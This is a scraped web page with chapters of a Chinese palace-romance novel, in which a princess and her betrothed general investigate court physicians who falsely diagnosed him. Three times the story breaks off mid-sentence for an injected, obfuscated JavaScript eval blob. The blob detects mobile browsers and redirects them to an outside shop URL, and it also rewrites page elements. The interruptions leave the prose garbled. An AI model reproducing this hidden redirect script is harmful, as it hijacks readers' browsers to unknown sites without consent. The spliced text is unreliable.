他背绷得笔直,双拳紧攥,脸上不知是因为怒气还是委屈,涨得通红,却紧抿着唇,一言不发。 “怎么了?”萧璟小声问,声音因仓促赶来还有些不稳。 萧烁气喘吁吁,可一对上大哥如刀的目光,立即噤声,往旁边稍了稍,连出气声都小了些。 为首的赵太医,没敢抬头,声音颤颤巍巍地飘来:“殿…殿下,臣等奉命为陆将军检查身体,发现将军腰间有一处旧伤,伤口甚深,又在要害处,恐伤及、伤及肾元根本,有碍……人道敦伦。” 话音才落,在一旁装鹌鹑的萧烁,偷喝的那口茶猛地呛了出来,他捶着胸一顿咳嗽,还不忘觑一眼萧启的脸色,结果被大哥一记眼刀钉在原地。 陆恒本就惨白的脸更是雪上加霜,哭嚎起来,萧宏托着他瘫软的身子,重重叹了口气。 “什么?”萧璟有些茫然,医理她本就知之甚少,今夜又喝了些酒,晕乎乎的,“什么道?” 说着,她看向一旁的陆惊澜,他死死地盯着地上的太医,眼睛里的杀气,她就是再喝一壶甜酿,也能分辨得出。 他深吸一口气,转向她时,戾气尽数敛去,只是手依然攥得发白:“殿下,臣的腰在战场上的确受过刀伤,但只是皮肉伤,军医诊治后早已痊愈。” “未留任何隐患。” 萧启冷冷开口:“陆将军是在质疑太医院的能力?” 陆惊澜“哼”了一声,回道:“太医院的能力毋庸置疑,但心思,诡谲难测。” “你放肆!” “停——”萧璟被他们吵得更晕了,直接挡在两人之间,抬手制止,“你们慢点说,那个什么道,是什么?” 厅内瞬间沉默了,几个太医把头低得更低,不敢接话。 萧启无力地揉了揉眉心,别过脸去,显然不打算跟她解释。萧宏倒是张了张嘴,但话要出口的时候,又咽了回去,化作一声叹息。陆惊澜耳尖憋得通红,可最后还是躲开了她的目光。 萧璟环顾四周,竟无一人敢正视她,她正要再开口时—— 一阵混不吝的笑声打破了僵局:“噗哈哈哈哈哈!” 萧烁实在憋不住了,也不顾大哥的眼刀了,大步走过来,一把揽住萧璟的肩,在她耳边用不轻不重的声音解释道:“我的傻妹妹,「人道」便是夫妻之事,阴阳交合,懂了吗?” “再简单点说,就是陆惊澜咳咳,那个可能不太行,以后要不了孩子。” 萧璟:“……啊?” 她愣了一瞬,然后从脸颊到脖子瞬间红透,甚至还在不断往外冒热气。 “三、三哥!你胡说什么……”她结结巴巴的,连个完整的句子都说不利索。 萧启闭上眼,深吸了一口气,手上摩挲墨玉扳指的速度,越来越快。 陆惊澜眼底的杀意再起,不过这次,是直冲萧烁而来。 萧烁把手一摊,满脸无辜:“都不肯开口,只好我来了。”他还有些得意地向萧璟补了一句,“怎么样?三哥是不是言简意赅,现在都明白了吧?” 她现在真的很想挖个地缝,不是自己钻,是把这个混账三哥埋进去。 萧启终于睁开眼,恢复威严:“按祖制遣试婚宫女验证,若有事,婚事作废,若无事,再议。” “不行!”两人异口同声。 萧璟和陆惊澜对视一眼,又飞快地躲开对方的眼睛。 多亏三哥的「点拨」,她倒是举一反三,立刻明白了试婚宫女是什么意思,她红着脸,但依然斩钉截铁道:“这、这是我的驸马,凭什么让、让别人试?” 一听这话,原本垂着头的陆惊澜,猛地抬头看向她,眼中翻涌的情绪,和此前任何一刻都不同。 萧宏叹了口气,劝道:“五妹,现在不是任性的时候,若不试婚,那这婚事只能作罢了。” “我说不行就不行!”萧璟咬着下唇,脑子乱成一团,但看了看一旁站得倔强的陆惊澜,还是把心一横,“不用试婚了,婚事照旧。” 全场的目光聚集在她身上。 她攥了攥袖角,端起架子,继续道:“本宫说,婚事照旧。那个、那个行不行的,本宫不在乎。” 满厅再次陷入死寂。 萧启盯着她看了许久,深沉如水的眼睛里,第一次盛满了震惊。 他站起身,缓缓开口,语气堪称叹为观止:“萧璟,我原以为你是被美色迷了心窍。” 他顿了顿,连连摇头。 “现在看来,你是被鬼迷了心窍。” 萧璟:“……” 她的脸骤然一白,脚下跟踩了棉花似的,根本站不稳。 是啊,她可不是被鬼迷了心窍吗?但是那些噩梦,她光是想想都感觉脖子一凉。 不行,她不要做噩梦了,哪怕只是为了这个。 “我不管!”她的声音再次大起来,“婚事一切照旧!今日之事,谁敢泄露出去半个字,或是让我听见半句说驸马不好的闲话——” 她环视一周,目光凌厉,“都吃不了兜着走!” 说罢,她真的没脸待下去了,转身就跑,身后还传来三哥的呼声:“欸小五,等等我!” 一阵风似的赶来的两人,又一阵风似的跑走了,只留下一室凌乱。 萧启泄了劲,跌回椅中,紧绷的肩一塌,有些懊恼地望向萧宏:“我、我方才的话,是不是说重了?” “大哥,这事怪不得小五,父皇母后去得早,咱们做兄长的,在有些事上……”萧宏一面扶着老泪纵横的陆恒,一面又惋惜地看了看陆惊澜,叹了又叹。 “终归是疏忽了,也护过头了。” 萧启闭上眼,竟破天荒地抓了抓头发,全然不像平日那个端肃持重的晋王。 良久,他背手起身,目光扫过地上的几人,冷静吩咐道:“今日之事,都给本王咽在肚子里,若是有半点风言风语传出来,本王不介意让太医院多几个「空缺」。” 说着,他飞快瞥了一眼陆惊澜,继续道,“这段时日,你们就留在陆府,替陆将军调理身体,需要什么药材、补品,派人来晋王府知会一声便可,都听明白了吗?” 太医们齐声应道,萧启带着萧宏,拂袖而去。 脚步声彻底消散在府门的那一刻,陆惊澜紧攥的拳终于松开,指尖早已麻得没有知觉,掌心赫然印着四道月牙般的血痕,他却笑了。 真好,这一世,是我来流血。 总好过,让我看着这抹红,在你颈间绽开。 “澜儿啊——!” 陆恒突然扑上来,眼泪鼻涕全蹭在他袖子上:“我的儿,咱们陆家不会真要绝后吧!” 陆惊澜:“……” 老父亲还在絮叨:“你娘临终前,爹答应过她,要把你好好拉扯大,看着你结婚生子。如今婚事是有了着落,可你偏又……” 陆惊澜叹了口气,熟练地拍了拍他的背:“父亲,先起来,我真的没事。” 陆恒抬头,泪眼汪汪:“真的?” “真的。” 话音落下的瞬间,他的脸倏地冷了,单手扶着老父亲,缓缓行至太医面前,另一只手已抚上腰间。 “锃!” 寒光乍现,一柄乌金短刃已然出鞘,堪堪停在赵太医眉心寸许,惊得他瞳孔猛缩,直冒冷汗。 “赵太医很是关心本将军的腰,”他的声音轻得像是在哄人,“但你可知,本将军腰间不止有伤——” “还有刀。” “你、你敢,”赵太医吓得抖如筛糠,勉强挤出几个字,“下官是奉命行事。” “呵!”陆惊澜冷笑一声,刀尖微偏,冰凉的刀身映出对方扭曲的脸:“你还配不上这把刀。” “这是她送我的。” 他收刃回鞘,转身离去,声音比窗外的夜色更沉几分:“既然几位太医「奉命」留下,那陆某定会尽地主之谊,好生招待。” 青云巷内,夜风微凉,却吹不散萧璟脸上那点滚烫,她气鼓鼓地在前面跑着,三哥的人和声音,还在身后紧追不舍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001486|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小五你慢点,夜里黑,看着点路。” 情急之下,她根本顾不得方向,七弯八绕的,竟跑进了一条死胡同。 她气得顿足,一扭头,三哥那张烦人的脸就凑了上来,拖长了调子调侃她:“本宫不在乎——” 他爽朗地大笑起来,拍着她的肩:“我们小五真是出息了,方才还指着大哥的脸,说「吃不了兜着走」,真是让三哥刮目相看!” 她又羞又恼,捂住耳朵,睨了他一眼:“都怪三哥胡说八道。” “好了好了,不逗你了。”萧烁收了笑,把她死死堵着耳朵的手拿开,声调也稳了不少,“不过,三哥可不是胡说八道。” 他那惯常上挑、含情带笑的眼尾,此刻竟难得地敛了弧度,透出一种陌生的静:“小五,你真的想好了吗?成亲可不是小时候办家家酒,玩闹过便各自散了。” “姻缘是月老系的红线,红线一牵,本无交集的两人,便会在日复一日间缠成最亲近的人,再也分不开。” 萧璟的眼睛微微睁大。 萧烁看着她,声音又放轻了些:“成亲之后,你们便不再只是青梅竹马的玩伴,而是夫妻。” 他一字一顿,“是同享祸福、共担悲喜的夫妻。” “所以,你当真想明白了吗?” 再听到这些话,她的脸竟没有发烫,因为一个冰冷的事实迎面砸下——她根本没有想过这些。 过去这些时日,她满心想的都是如何「化煞气」,想的是怎么把人名正言顺弄到府里,便算大功告成。 可这之后的事,她从未想过。 巷子里变得更静了,月光晃晃悠悠的,晃了许久。 她终于抬起头,清澈的月光下,是她坦诚的目光:“三哥,你说的那些,我都未曾想过,何来想明白一说。” 她看见萧烁的神情落寞了一瞬,更看见了他眸子里映出的,自己那张毫不动摇的脸。 “可成亲这件事,我心意已定。” “至于那些不明白的……” 夜风渐起,吹乱她鬓边的几绺碎发,也吹散了两人之间难得的正经,她忽然眨了眨眼,那抹熟悉的明媚又回到脸上,“我这么聪明,肯定一学就会!” 兄妹俩一对视,默契地同时笑起来,清脆的笑声在无人小巷里久久回荡。 萧烁眼尾一挑,眸中漾开春水般的涟漪:“好!不愧是我萧烁的妹妹,先斩后奏,再迂回图之。小五,你这手战术,衔接得浑然天成啊!” “那当然!既然要出手,自然是谋定而后动。”她得意地抬了抬下巴,眼睛亮晶晶的。 “好好好,谋定而后动。”他脸上的笑更深,又不着调起来,“但你今天护人的那股劲儿,也是谋略?我怎么瞧着,像是想都没想就冲出去了?” “我……”她一时没接上话,咬着唇,“我只是觉得,惊澜是在战场上为国拼杀受的伤,怎可成为被人欺辱的把柄,太不公平了!” 脑海中,又浮起那张倔强的脸,明明委屈极了,却只能攥着拳,憋得眼眶通红。 她的心就像是被什么东西刺了一下。 即便他不是她的「镇物」,她也不能对这样的他置之不理。 萧烁没有接这个话茬,只是轻叹了一声——她并不意外,三哥虽是个纨绔,但骨子里淌着的,终究是将门敬重沙场儿郎的血。 小巷内一时静默,夜风习习而过,驱散了酒气,凉意渐渐在脸上蔓延开来,萧璟的眼前却骤然清明。 她一把抓住萧烁的手臂,语速虽快却十分冷静:“三哥,今夜的事,甚为蹊跷,惊澜的伤若真的如此严重,军报怎么可能只字未提?” 萧烁原本还有些玩味的嘴角松了下来,怔了一瞬:“我说呢,陆惊澜那小子看着也不像……” 旋即又改口,压低声音,“背后之人好谋算啊,这盆脏水一泼,辱人自尊不说,更难证清白,分明是为着搞砸你这桩婚事而来。” 他说着说着,渐露难色:“只是敢动你婚事的人,咱们真的能查吗?” “能。”她点了点头,坚定道:“只是这事,不能铺在明面上查,得悄悄的。” “得悄悄的么?”一个清亮的声音从头顶落下,“可臣已经听到了。” 5. 第 5 章 “谁?”萧烁被背后骤然响起的声音吓了一跳,猛一回头,手已经下意识护在妹妹身前。 萧璟也循声望去,清冷月光下,一个疏朗身影,正双手抱臂坐在她面前的高墙之上。 他仰头望天,姿态闲适,仿佛只是在贪看月色。 许是今夜风清月皎,映得他鲜眉亮眼,透出一种少见的清冽少年气,跟方才满受委屈,却竭力压制眼底的怒火,不让它翻涌而出的犟种,简直判若两人。 她的心蓦然跳错了一拍。 这个陆惊澜,有些陌生,更有些久违的熟悉。 萧烁看清来人,才绷紧一瞬的身子倏地就松了,缓了口气,但嘴里依然没好话:“陆惊澜,你什么时候跟来的?你好大的胆子,竟敢偷听我们说话?本王要治你的罪!” 这一连串的质问,竹筒倒豆子似的,噼里啪啦,将有些愣神的萧璟拉了回来。 她只能投去无奈的一瞥:三哥,你这一心虚话就多的毛病,真得治治了。 陆惊澜的目光终于从月亮上收回,轻轻落在她脸上,浅浅一笑:“臣在自家后院赏月,何罪之有?” 自家后院?这不是死胡同吗? 萧璟慌忙环顾四周,越看心越凉——合着她脚下生风一路狂奔,结果只是从陆府正门,绕了一大圈到了陆府后院。 萧烁更是一愣,声音都虚了:“小五,我都叫你看路了。” “天太黑了,”她小声嘟囔,“都怪你,非得在后面追,不然我至于慌不择路吗?” “你这不是慌不择路,根本是「自投罗网」!” 萧璟被他最后几个字刺得一激灵,脸上又烫起来,但依然梗着脖子,将目光甩向墙头的陆惊澜,试图夺回主权:“虽是你家后院,可我们在院外谈话,你偷听便是不对。” 他却笑得更明朗了,淡淡道:“殿下,后街这条小巷,也是臣家的。” 闻言,她竟然气笑了,干脆弯起眉眼:“原来如此,那是本宫与三哥叨扰了,告辞。”说罢拉着萧烁转身就走。 “等等。”陆惊澜利落地从墙头跳下,拦住他们的去路,声音沉了些,“殿下要调查今夜之事,可否带上臣一起?” “就当,给臣一个自证清白的机会。” 萧璟垂眸不语,似在考量。 要不要带上他,她心里已经有了答案;没有答案的,是从他出现的那一刻,就盘桓不去的另一个疑问——方才那些话,他听到了多少? 若是他知道这桩婚事她并无真心,他还会愿意吗? 还在思忖间,萧烁抢先一步:“五妹,既然他都听到了,那不如就带上吧,多个人多个帮手。” “罢了,既然三哥都这么说,那便一起吧。”她极力让自己的声音听起来平静,但还是忍不住偷偷瞄了他一眼,“只是本宫方才和三哥说了些「玩笑话」,将军若是听到了,请不要当真。” 陆惊澜露出一个意味深长的笑,抱拳行礼:“殿下放心,臣……知道什么该当真。” 天光初晓,一阵风风火火的脚步声便撞碎了宁王府的静谧。 萧煜正俯身侍弄药圃中的几株幼苗,培土的动作都没停,温声道:“三哥、五妹,别踩到我的断肠草。” 萧烁一听,猛地刹住脚,连退数步:“老四,你每天就在府里捣鼓这些要命的玩意儿?” 萧璟在药圃边蹲下,用手指戳了戳叶片,又凑近闻了闻,忽然笑出来:“三哥,这是金银花苗,你又被骗了。” “老四!” 萧煜拍了拍手上的泥,转过身来,脸上还挂着笑,但目光在掠过她身后时,有一丝转瞬即逝的讶异。 “陆将军也来了。” 陆惊澜双手合抱,目光真诚,声音响亮:“宁王殿下,别来无恙。” 萧煜笑意更深,自嘲道:“托你的福,尚且苟活。一别两年,你倒是越加意气风发了。” “只是不知,今日是来会旧友,还是……提前「走亲戚」?” 余光下,萧璟瞥见陆惊澜的视线微微偏转,落在她侧脸上,眉眼含笑:“是旧友,更是亲戚。” “谁跟你是亲戚?”萧烁立刻跳出来,“还没成亲呢,你就登堂入室了?” “三哥!”萧璟一面打断他,一面借着裙摆遮掩,不轻不重地踩了一下陆惊澜的脚尖,脸上依然带着纯良的笑,“四哥,我们今日来,是有正事。” 陆惊澜面色不改,只将身子稍稍收了半寸,离她更近了些。 萧煜的目光淡淡扫过,嘴角上扬:“进来吧,正好我新配了一剂药茶,清心解燥最好。” 茶香袅袅而升,萧璟将昨夜之事的来龙去脉一一道出,隔着氤氲的雾气,四哥一向温和的脸竟沉了几分。 “背后之人手段下作,若是我们大张旗鼓地去太医院调查,只怕前脚走进太医院的门,后脚京城的流言就把陆府吞了,不得已才来叨扰四哥。” 她顿了顿,目光恳切,“四哥颇晓医理,平日又常出入太医院,可有什么头绪?” 萧煜放下茶盏,瓷底碰出清脆的一响,眼中一贯的温润覆上一层薄冰:“负责诊治的太医是赵元仁?”他摇了摇头,不解道,“他医术高明,素怀仁义,何至于此?” 一听这话,萧烁一把揪住陆惊澜的衣领:“好小子,你到底说没说实话?” “三哥,你松手!”她连忙去掰萧烁的手,“惊澜身上还有伤。” 陆惊澜被勒得一咳嗽,却低笑道:“三殿下,臣若真有隐疾,此刻该倒地不起了。” 萧煜扶额叹息,无奈道:“三哥,赵元仁是好人,但不代表他昨日诊脉时也是好人。” “好人,是最容易被拿捏的。” 萧烁手上的力道总算松了几分,陆惊澜趁势挣脱,理了理衣襟,直起身子:“军中医案并不入太医院存档,赵元仁久居京城,昨日却连「伤及腰椎三寸」的细节都说出来了,只怕背后有军中势力。” “未必是军中。”萧煜摇摇头,“按制,将领伤情无论大小,在诊治后均由军医详记,呈报兵部职方司密存。” “职方司,”萧璟小声念叨着,“新任郎中是不是柳尚书家的大公子,柳明晏?” “不错。”萧煜点点头,问道:“小璟,你何时关心起朝中的人事变动来了?” “我……”她垂下头,又飞快瞥了一眼陆惊澜,“两月前,他以「贺履新之喜」为名,在府中设雅集,给我递过拜帖,邀我前去品茶赏画。” 陆惊澜原本搭在膝上的手,闻言顿时紧攥成拳,面上还挂着温润笑意,语气已经冷得像冰:“柳公子……真是好雅兴啊。” 她连忙摆手:“我没去!他的画匠气十足,喜浮华,好奢靡。那幅《西山松月图》,连松针尖上都点满了金粉,真是俗气,我不喜欢。” “殿下连他的画作风格都如此熟悉?细枝末节也记得这样清楚?” 萧璟一怔,急得舌头打结:“我、我是听三哥说的!” “我?”萧烁眼睛瞪得像铜铃,用手指着自己,嘴巴微张:“又是我?” 他气得拍案而起,誓死不接这口黑锅:“萧璟!你讲不讲道理,我像是赏画的文雅人吗?你找替罪羊也稍微动动脑子,你还不如说是老四。” “我也不爱赏画,喝喝茶可以。” 说着,萧煜淡定地喝了口茶,才缓缓道:“不过,我确实见过那幅画,那日柳老夫人携画入宫,小璟你只看了一眼,便说「俗气」丢开了。” “是是是,”萧璟连连点头,又拽了拽陆惊澜的袖子,“我真的不喜欢他的画。” 他没有扯回袖子,反而用指尖轻轻勾了勾她的手腕,痒痒的,她不由得缩了缩脖子,手上却攥得更紧了。 他抬眼看她,声音压低了些:“那人呢?” “人?什么人?”萧璟眼神乱飘,“哦柳明晏啊,他、他就那样吧。” 陆惊澜微微一笑:“那样,是哪样?” 她垂着眼,脑中念头飞转,可一时竟找不出合适的形容词。 “柳明晏,”短暂的沉默后,萧烁摸着下巴回忆道,“那小子来头可不小。” “祖父是永昌侯,祖母是安宁郡主,论起来还是父皇的表姑母。他爹如今管着户部,几个叔父都身居高位,典型的河东柳氏嫡系,金堆玉砌的世家公子。” “就连这个兵部职方司的位置,换作旁人,可能一辈子都爬不上去,于他,不过是个过渡而已。” 萧璟不禁松了口气,幸好有三哥在,京城的世家名录,他能倒背如流。 萧煜继续接道:“柳家的权柄人脉,多在文官体系,而职方司掌边防舆图、将领档案,历来是兵部要职。柳家把他放在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001487|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置上,恐怕不仅仅是历练过渡,更是起了在军中布局的心思。” “呵,”陆惊澜面上的笑意陡然冷了,“若是我因「旧伤」被厌弃悔婚,军中威信亦会有损,届时柳家安插在军中的人,便可顺势接手。” 他的指节在膝上轻轻一叩,声音更沉:“还有我的驸马之位,怕是也打算一并接手。” “想得美!” 萧煜放下茶盏,嘴角噙笑:“惊澜,你的重点是不是……歪了?” “臣向来直击要害。” 萧璟的脸腾地一红,但还是抿着唇,强行把话题拉回正轨:“这、这不是私怨,而是政治博弈。” 这几个字一说出口,脑中便浮现出大哥对朝堂时局侃侃而谈的样子,她学着分析道:“柳家想阻止的,不是我和惊澜的婚事,而是……” 她正斟酌着用词,眼前陆惊澜那张阴沉的脸不知怎地裂开一小道缝,缝里漾开一层浅浅的涟漪。 他轻轻地眨了下眼,带着笑意点了点头,应当是听进去了她的话,示意她继续。 心里浮上一层淡淡的欢喜,她继续道:“柳家想破坏的,是军功新贵和皇室联姻的契机,更是斩断寒门将士在军中的上升之路。” “这叫,”正琢磨着,她的眼睛倏然一亮,“对了!这叫「世家垄断」。” “啊,原来如此!”萧烁跟上思路,气得咬牙,“合着他们要搞的,不是惊澜你的腰,是你的兵权!” “想要兵权就真刀真枪地去战场上拼,捡现成的算什么英雄好汉!” 想通这一层,萧璟反而不慌了,她轻笑一声,松开一直攥着的陆惊澜的袖子,坐直身子:“好啊,既然柳家想玩「釜底抽薪」” “那咱们,就告诉他们什么叫「引火烧身」。” 话音刚落,茶室里,铜壶滴漏声清晰可闻。 “滴答。” “滴答。” “滴答。” 三声落,三人的目光齐唰唰投向萧璟:“你想怎么烧?” 她气势骤减,声音弱下来,“我、我还没想好呢。” 三哥立刻捂脸偷笑:“果然,我就知道!” “无妨。”四哥别过脸,极力忍笑,“至少方向对了。” 只有陆惊澜依然带着笑意看她,眼底像盛着一池春水:“殿下,臣有个主意,既然要烧,不妨从火源开始,咱们手里,不是有那几个太医吗?” “对啊!”她被他的话重新鼓舞,合掌一拍,“咱们就查查那几个太医,到底是如何与柳家勾连的?” “那,”萧煜撇了撇茶沫,问道,“这件事要不要告诉大哥?” 萧璟那点儿刚雀跃而起的小心思,顷刻间撞上了心里那堵名为「大哥」的南墙。 她习惯了在大哥的庇护下无忧无虑,习惯了依赖他、信任他,甚至就在方才,她的一举一动、一言一语,都还带着大哥的影子。 可自从那个噩梦后,她再看向大哥时,眼前总像蒙着一层影影绰绰的纱,让她忍不住时时叩问: 她真的,了解大哥吗? 茶室内,静得诡异。 挑起话头的四哥,自然是与茶盏沉默相对,等着答案。 一向咋唬的三哥,也难得地闭了嘴,视线久久停在窗外那棵枝叶茂密的老槐树上,槐荫已浓,偶闻蝉声。 和疏落的蝉声交错而起的,是身旁陆惊澜的呼吸声,深一下、浅一下。 那日在陆府,大哥道出「误了终身」四字时,他也是这般克制地从喉间逸出几声气音。 这场沉默里,他们四人,像是心照不宣,又更像是各怀心思。 “先瞒着大哥。” 最终还是萧璟选择打破僵局,迎上三人聚拢而来的目光,“此事本就宜暗不宜明,更何况我们尚无证据,所有不过揣测。” “揣测若没有真凭实据,只会变成刺向自己的刀。” 「刀」字出口的瞬间,眼前一晃而过的却是那柄横在颈间的利刃,那般刺骨的寒意,无声无息地蔓延开来,冷得她一颤。 比寒意更强烈的,是困惑。 她至今不解,照她的心性,刀锋合该永远朝外,究竟为何,会选择刀刃向己? 她深吸一口气,强行把那些虚幻赶出脑海:“栽赃未成,柳家不会坐以待毙。事不宜迟,我们即刻行动。” 6. 第 6 章 “殿下这是要去哪?” 才到青云巷口,离陆府尚有一段距离,萧璟便示意马车停下,领着陆惊澜下了车,不朝正门前去,反而一头扎进了七弯八绕的小巷。 “你跟着便是。” 她语气硬梆梆的,可心里一想到又要来陆府,便感觉浑身不自在。 来陆府不过两回,结果状况一回比一回离奇曲折,若非纳吉已毕,钦天监监正亲口回禀「八字相合,天意所向」,她都要疑心她是不是和陆惊澜命里犯冲。 更何况,眼下还只有她和他。 三哥拍着胸脯,信誓旦旦:“赵元仁的人情往来交给我,保证连他和谁拌过嘴都查得一清二楚!”话刚落,人便没了影。 四哥则淡淡地落下一句:“我去太医院看看记档。”便径直往宫里去了。 索性这次,不走正门了。 不过面前的小巷真像迷宫似的,左折右拐,即便是日头明晃晃地照着,也总有些幽深处,不见光亮。 她绕来绕去,仍是一头雾水,脚下的步子越来越重。 “前面那个岔口走左边。” 他的声音忽地从身后传来,她迟疑了片刻,还是大步迈了出去,心下暗暗嗔怪:这人分明就知道要去哪,还装作不知,看着她瞎转悠了这么久,坏透了。 虽然这么想,但身体还是很诚实地跟着他的指令,不过寥寥几声,两人便回到了昨夜的「死胡同」,越过眼前这堵高墙,便能进到陆府的后院。 萧璟一脸理所当然地看向陆惊澜:“我们翻墙进去。” 他无奈笑了笑,温声道:“殿下,咱们翻墙回自己家,怕是有些「多此一举」?” “你懂什么?”她眉梢一挑,“虽是自己的地盘,但我们是来审人的,动静自然越小越好,难不成要像上回求旨那般,连消息怎么走漏出去的都不知道?” 陆惊澜连连点头:“殿下英明。” 翻墙这种事,换作旁的世家贵女,是万万不可能的,可偏偏大梁的长公主殿下,打小便是个活泼好动的性子,善骑射,喜攀高。 区区一堵墙,根本不在话下。 两人利落地攀上墙头,陆惊澜先一步跃下,站定后,又伸出双臂虚虚扶了一下紧随其后的她。 萧璟身形轻盈,宛若一只翩跹而来的蝶,轻轻点地:“陆惊澜,你这才是「多此一举」。” “臣习惯了。” 带着微微扬起的笑意,两人闪身进了小柴房,昨夜的两个年轻太医,正被关押在此,灰头土脸,瑟瑟发抖。 “现在知道怕了?” 虽是第一回正儿八经地审人,但萧璟的架子还是摆得足足的。 她冷笑一声,不疾不徐地踱步至二人面前,目光却丝毫没有要下瞟的意思,“昨夜诬陷陆将军时,可曾想过今日?” “殿下明察,下官怎敢诬陷将军呐?”两个太医慌忙叩头,年长些的那个大着胆子,嗫嚅着解释道,“昨夜请脉时,将军尺脉确实、确实细浮无力,照医理言,确是肾元亏损之象。” “你!”萧璟气得登时就想发落了他们,“都死到临头了,还敢嘴硬?” 可话才出口,衣袖便被轻轻拽了下,陆惊澜摇了摇头,和声劝道,“殿下,清者自清,臣愿意让两位太医再诊一次,若脉象仍如其所言,臣即刻赔礼道歉,放人离去,可若是一切正常……” 他略一停顿,眼神暗下来的刹那,声线如坠冰窟,“二位知道后果。” 两人吓得身子瘫软,眨眼间额头上便满是虚汗,最终还是深深屏了口气,颤抖着去探脉。 “不、不可能!”才一搭上脉,两个太医霍然僵住,眼睛睁到最大,无比惊恐地看向对方,“怎会如此?昨夜脉象明明……” “呵!”陆惊澜嗤笑一声,收回手,还特意掸了掸衣袖,“二位太医,本将军脉象究竟如何啊?” 二人彻底失了力,眼神呆滞,声音虚得像是从天边飘来的:“将、将军脉象沉、沉稳有力,并无隐疾。” “总算肯招供了?”萧璟看着眼前两张毫无血色的脸,心头的火气反而更盛了,“谁给你们的胆子,竟敢抹黑功臣、诬陷驸马?你们眼里还有没有法度纲常?” “说吧,你们究竟受何人指使,收了多少好处?”她抿了抿唇,扬起下颌放狠话,“从实招来,本宫或可网开一面,若还要抵赖,那便带着你们那些黑心银子,去阴司地府里慢慢花吧!” 这话一出,年纪稍小的那个,先前没敢开口,现下哭得呜呜咽咽:“我没有,昨夜真的……” 他满脸泪痕,声音断断续续的:“昨夜脉象的确有异,我、我不知道,我来太医院才不过半年,只想安稳度日,挣些俸禄糊口,我真的没收好处!” 许是自觉大限将至,他的话匣子开了便合不上了,抽泣道:“昨夜本不该我当值,是我贪图那二钱银子贴补,才跟人换了班。太医院人才济济,我自知平庸,从未想过出人头地,原想着攒上两年钱,早日娶亲成家,好好过日子,哪知道把小命都赔上了。” 空荡的柴房里,小太医的哭嚎声久久回响,一旁年长些的那个,从诊脉后便再也吐不出一个字,他靠在墙角,眼角低垂,一脸失魂落魄。 眼见这般场面,萧璟强撑起来的那副铁石心肠也不免软了下来,她赶忙看向陆惊澜,微挑了两下眉示意,偷偷地比了句“不像假的”。 陆惊澜颔首回应,他行至小太医面前,缓缓蹲下身,平静道:“我相信你没收好处,因为好处,根本到不了你们手里。” 在小太医渐弱的哭声中,他继续道,“昨夜我便觉奇怪,三个太医前来为我一人请脉,着实有些兴师动众。现在想来,这般安排真是精妙的很,表面上看是太医院对我这个准驸马的「格外关照」,实则是为了在赵太医诊出我脉象虚浮时,能有两个人证在场。” 一声啼哭噎在喉间,二人茫然地抬起头。 陆惊澜的声音继续平稳地传来,剖析的却是血淋淋的真相:“三人同诊,均得出脉象虚浮的结论,便是将我钉死在耻辱柱上的铁证,而若是事情败露,你们二人,则是现成的替罪羊。” “难怪。”萧璟倒抽了口气,“太医院明面上尽心尽力,派了三个太医前来诊脉,可偏又安排了这两个经验尚浅的新人,不是自相矛盾,根本是把他俩当「弃子」用。” “只是……”她蹙起眉,目光扫过地上的二人,不解道,“本宫尚有一事不明,赵元仁或许是主谋,可他如何能未卜先知,确保你们二人所探脉象,与他的诊断分毫不差呢?” 陆惊澜眉间同样拧着疑绪,他轻轻握住自己的手腕,正来回摩挲着,眼前突然灵光一现:“殿下,臣知道了!” “昨夜赵元仁为臣诊脉时,为表敬意,特地换了个新脉枕,还带着股淡淡的异香。他当时说是宁神的草药,如今看,恐怕是能扰人指感的秘药。如此一来,他不必未卜先知,无论谁来诊治,在那个脉枕下,都只会探出那一个结论!” “好一个赵元仁!”萧璟面上毫不掩饰轻蔑之意,但她的头脑尚未完全被怒意冲昏,“不过,太医院的污糟可不止他一个。” 她的目光再次落在两个怔愣的太医身上,噙着一抹极淡的笑意,“昨夜是谁提出要三人同诊的?又是谁,指派了你们三人前来?” 二人对视一眼,满是震惊的眼中渐渐流露出恍然,还不等他们开口,萧璟便自问自答道,“是院判章迎,对不对?” 柴房内陷入死一般的寂静,两个太医无力地点了点头,明明是个再轻微不过的动作,却仿佛用尽了他们所有的力气。 “惊澜,看来这太医院的水,比我们想得还要浑,还要脏。”萧璟的声音霎时冷了,心中的不安感陡然攀升。 章迎执掌太医院多年,父皇在世时便深得圣心,至今圣上龙体安康仍系其手,若他存了不臣之心,那可是动摇国本的祸患。 梦里萧宸龙袍上的斑斑血迹直直刺进脑中,她顿觉遍体生寒,双臂环抱,将心底那些不可说的忧惧,尽数系在手中死死揪住的一小块衣料上。 “活水清,死水浊。” 他又一次耐心地分开她和衣料纠缠不清的五指,温柔的动作伴着沉稳的声音,一点一点将她从惊惧中拉回,“太医院眼下便是一潭死水,章迎经营多年,关系盘根错节,如这二位的新人,要么同流合污,要么,淹死在这池污水里。” “是了,流水不腐,户枢不蠹。”萧璟舒了口气,思绪被悄然牵引着,“太液池终年清澈见底,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 